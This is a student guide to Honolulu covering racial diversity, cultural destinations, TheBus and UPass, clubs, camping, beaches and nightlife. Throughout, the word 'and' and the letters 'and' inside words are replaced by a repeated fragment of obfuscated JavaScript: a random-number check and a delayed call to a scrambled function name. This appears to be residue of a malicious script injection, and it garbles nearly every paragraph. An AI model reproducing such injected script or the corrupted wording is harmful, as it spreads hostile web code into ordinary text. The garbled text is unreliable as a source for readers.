Honolulu, Hawaii: The ultimate happy place

Few states are as racially diverse as Hawaii, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the melting-pot mentality may be a key reason the people of Honolulu are so happy here.

“There really is no majority group,” says Bill Haning, MD, a professor of psychiatry at the University of Hawaii. “That leads to a sense of belonging andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} of being respected that other cities may not enjoy.”

“I literally pinch myself on my drive to work every day,” says Nancy Sidun, PsyD, president-elect of the Hawaii Psychological Association. Her fellow Honoluluans appear to feel the same. “People really cherish that beauty. Whether you walk on the beach at 5 am or 8 pm, there is always someone swimming. Five months out of the year, you can see whales spouting.”

Cultural Destinations

First, let’s start with the cultural destinations. There are lots of great destinations that frequent by tourists andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} locals alike. To name a handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ful, places such as Pearl Harbor Memorial, Hanauma Bay, Bishop Museum, Kualoa Ranch, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Polynesian Cultural Centerare worth visiting time andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} again. You can check out these places andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} more by visiting State of Hawaii Tourism web site. If you are interested in exploring the top cultural destinations, there are many touring companies that offer pick up from Waikiki for free with ticket purchases, or a small transportation fee.

Getting around

Hawaii’s public transit, TheBus, is a great way to travel around town. As a student you are/or will become familiar with the bus system. The easiest way to know available bus routes to various locations is to go to the website, www.thebus.org. TheBus offers great student rate to purchase a UPass for university students. Learn more about TheBus andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} UPass. You can always contact Commuter Services to obtain information on airport shuttles, on islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} transportation, apartment rental, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} resources about off-campus living as students. Outdoor andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Social activities

Hawaii is known for its year round warm tropical weather. Why not take advantage andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} join a club, learn a new sport, or compete in local tournaments? The following recreation links are activities andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} groups on Oahu, these are great way to flex your physical andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} social muscles, or simply get active.

Bike– Besides commuting around town with your cruiser, did you know that Oahu has a growing bike community hidden in plain sight? They race around the islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} for fun andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} for competition (think Tour de France). Check out the Honolulu Bicycling League or call 808-735-5756 for details andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} group rides as a start!

Ultimate Frisbee– Hawaii Ultimate League hosts year-round competitions andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} great social events. It’s a great way to work out andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} make new friends at the same time.

Camping– There are plenty of public andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} private camping grounds on Oahu. First step is to acquire a permit at Hawaii State Parks or through the City andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} County of Honolulu. You can choose from reserving a lot on the camp ground for tents, to renting a cabin with minimal amenities to fully equipped facilities for a small fee. It’s a great way to get away from the city without traveling far.

YMCA/YWCA– Both the YMCA andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the YWCA, have fitness centers close to the downtown campus. YMCA also has fitness center near the Hawaii Loa Campus. Being a member also has the benefit of utilizing their privately owned camp grounds on the North Shore andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Windward locations.

Beaches– Living on Oahu means that you don’t necessarily have to fight for the few square feet of sandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} on the beach of Waikiki. Check out these great spots all around the islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}. http://www.gohawaii.com/Oahu/guidebook/topics/beaches-of-Oahu

Of course, you will want to visit the famous Vans Triple Crown Surfing competitions on the North Shore during the winter season. It is important to observe up to date ocean safety warnings andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} be aware of your surrounding at all times when you are visiting north shore beaches during EPIC waves.

There’s always something happening around the islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}. You will find variety of evening entertainments near Waikiki/Downtown area. To stay in the loop, pick up a free newsletter or check websites such as MidWeek to know the happenings from live concerts, night clubs, to theatre plays. Hawaii Public Radio station has a community calendar that connects you to local news andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} community art events near your neighborhood andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} across the Hawaiian Islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}s (in case you are planning to visit another islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}).

Oahu has a thriving ballroom dancing community that offers weekly dancing events andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} lessons of variety of dance moves from Waltz, to Salsa; the lessons range from free to a very reasonable fee. Start by checking out Dance Hawaii, a non-profit organization, for events andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} classes to show off your moves, or learn to tango!